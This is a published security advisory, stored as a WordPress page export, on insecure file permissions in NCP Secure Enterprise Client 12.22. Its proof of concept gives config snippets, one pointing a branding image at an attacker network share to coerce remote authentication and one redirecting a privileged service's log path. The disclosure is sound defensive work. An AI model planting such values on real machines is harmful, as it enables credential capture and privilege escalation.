{"id":19539,"date":"2022-08-31T16:56:00","date_gmt":"2022-08-31T14:56:00","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=19539"},"modified":"2023-03-03T12:54:33","modified_gmt":"2023-03-03T11:54:33","slug":"usd-2022-0004","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0004\/","title":{"rendered":"usd-2022-0004"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.17.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2022-0004 | NCP Secure Enterprise Client - Insecure File Permissions<\/h1>\n<p><strong>Advisory ID:<\/strong> usd-2022-0004<br \/><strong>Product:<\/strong> NCP Secure Enterprise Client<br \/><strong>Affected Version:<\/strong> 12.22<br \/><strong>Vulnerability Type:<\/strong> Insecure File Permissions<br \/><strong>Security Risk:<\/strong> Medium<br \/><strong>Vendor URL:<\/strong> https\/\/www.ncp-e.com\/<br \/><strong>Vendor Status:<\/strong> Fixed<\/p>\n<h3>Description<\/h3>\n<p>The <em>NCP Secure Enterprise<\/em> client is a <em>VPN<\/em> and networking application that is utilized by many organisations to connect workstations<br \/>to the cooperate network. The client stores it's configuration files within the directory <strong>C:\\\\ProgramData\\\\NCP\\\\SecureClient<\/strong>, which grants<br \/>low privileged user accounts write access to most resources. Attackers can abuse this configuration in different ways as demonstrated<br \/>in the <em>Proof of Concept<\/em> section below:<\/p>\n<h3>Proof of Concept<\/h3>\n<p>This section contains proof of concepts for some of the writable resources:<\/p>\n<h4>cacerts<\/h4>\n<p>Since the folder <strong>C:\\\\ProgramData\\\\NCP\\\\SecureClient\\\\cacerts<\/strong> is writable for low privileged user accounts, it is possible to add new <em>CA<\/em><br \/>certificates that may allow connections to untrusted endpoints:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/06\/cacerts.png\" alt=\"\" class=\"wp-image-18561 alignnone size-full\" width=\"765\" height=\"466\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/06\/cacerts.png 765w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/06\/cacerts-480x292.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 765px, 100vw\" \/><\/p>\n<h4>cbo.ini<\/h4>\n<p>The file <strong>C:\\\\ProgramData\\\\NCP\\\\SecureClient\\\\config\\\\cbo.ini<\/strong> is also writable for low privileged user accounts. This file<br \/>can be used to configure custom branding of the <em>NCP Secure Enterprise<\/em> client by specifying the path to the desired theme<br \/>files. By specifying the address of a network share instead, it is possible to coerce a remote authentication by each user<br \/>that logs in on the prepared workstation. Furthermore, since the <em>NCP Secure Enterprise<\/em> client starts on startup, an remote<br \/>authentication of the machine account can be coerced.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">[GENERAL]<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Enabled<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">1<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">[DEUTSCH]<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Picture<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\\\\\\\\attacker\\\\share\\\\test.png<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">HtmlLocal<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">%BaseDataDir%\\\\CustomBrandingOption\\\\de\\\\bla.html<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">[ENGLISH]<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Picture<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\\\\\\\\attacker\\\\share\\\\test.png<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">HtmlLocal<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">%BaseDataDir%\\\\CustomBrandingOption\\\\en\\\\bla.html<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><\/pre>\n<\/div>\n<h4>ncpmon.ini<\/h4>\n<p>The file <strong>C:\\\\ProgramData\\\\NCP\\\\SecureClient\\\\config\\\\ncpmon.ini<\/strong> contains several different configuration settings.<br \/>One of them is the <strong>LogPath<\/strong> setting within the <em>Gina<\/em> section. Since the file is writable by low privileged user<br \/>accounts, it is possible to set the <strong>LogPath<\/strong> to an arbitrary directory.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">[GENERAL]<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">...SNIP...<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">[GINA]<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">DisableGinaClient<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">0<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">LogLevel<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">9<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">LogPath<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">C:\\\\<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><\/pre>\n<\/div>\n<p>The configuration is then used by a high privileged service to write into the corresponding location:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">C:\\\\&gt;dir<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\"> Datentr\u00e4ger in Laufwerk C: ist Windows<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">   Verzeichnis von C:\\\\<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">   05.05.2021  10:09    &lt;DIR&gt;          Program Files<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">   05.05.2021  10:09    &lt;DIR&gt;          Program Files (x86)<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">   05.05.2021  10:09    &lt;DIR&gt;          Users<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">   05.05.2021  10:09    &lt;DIR&gt;          Windows<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">   30.11.2021  10:51         1.960.248 NcpGinaLog.txt<\/span><\/pre>\n<\/div>\n<p>Apart form the above mentioned issues, other attacks may be possible. The file <strong>extdial.conf<\/strong> contains e.g.<br \/>the filenames of <em>dynamic linked library<\/em> (<em>DLL<\/em>) files which could may lead to privilege escalation vulnerabilities<br \/>on certain setups.<\/p>\n<h3>Fix<\/h3>\n<p>The contents of the configuration folder should be reviewed and more restrictive permissions should be applied<br \/>to files that store sensitive configuration items. Low privileged user accounts should only be allowed to modify<br \/>configuration options that do not affect the security of the operating system.<\/p>\n<h3>References<\/h3>\n<ul>\n<li>https:\/\/www.ncp-e.com\/<\/li>\n<li>https:\/\/github.com\/usdAG\/SharpLink<\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li>2022-02-02 First contact request via <a href=\"mailto:info-mv@ncp-e.com\">info-mv@ncp-e.com<\/a><\/li>\n<li>2022-02-02 Advisory transfered to the vendor<\/li>\n<li>2022-02-15 Vendor appreciates the submission of the advisories and begins to fix the identified vulnerabilities<\/li>\n<li>2022-06-09 Responsible Disclosure Team requests an update<\/li>\n<li>2022-06-21 Vendor annouces a new software release available in August<\/li>\n<li>2022-08-31 NCP Secure Enterprise Client 13.10 is released<\/li>\n<li>2023-03-03 This advisory is published<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>These security vulnerabilities were found by Tobias Neitzel.<\/p>\n<h3><\/h3>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2022-0004 | NCP Secure Enterprise Client - Insecure File Permissions Advisory ID: usd-2022-0004Product: NCP Secure Enterprise ClientAffected Version: 12.22Vulnerability Type: Insecure File PermissionsSecurity Risk: MediumVendor URL: https\/\/www.ncp-e.com\/Vendor Status: Fixed Description The NCP Secure Enterprise client is a VPN and networking application that is utilized by many organisations to connect workstationsto the cooperate network. The client [&hellip;]<\/p>\n","protected":false},"author":109,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-19539","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19539","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/109"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=19539"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/19539\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=19539"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}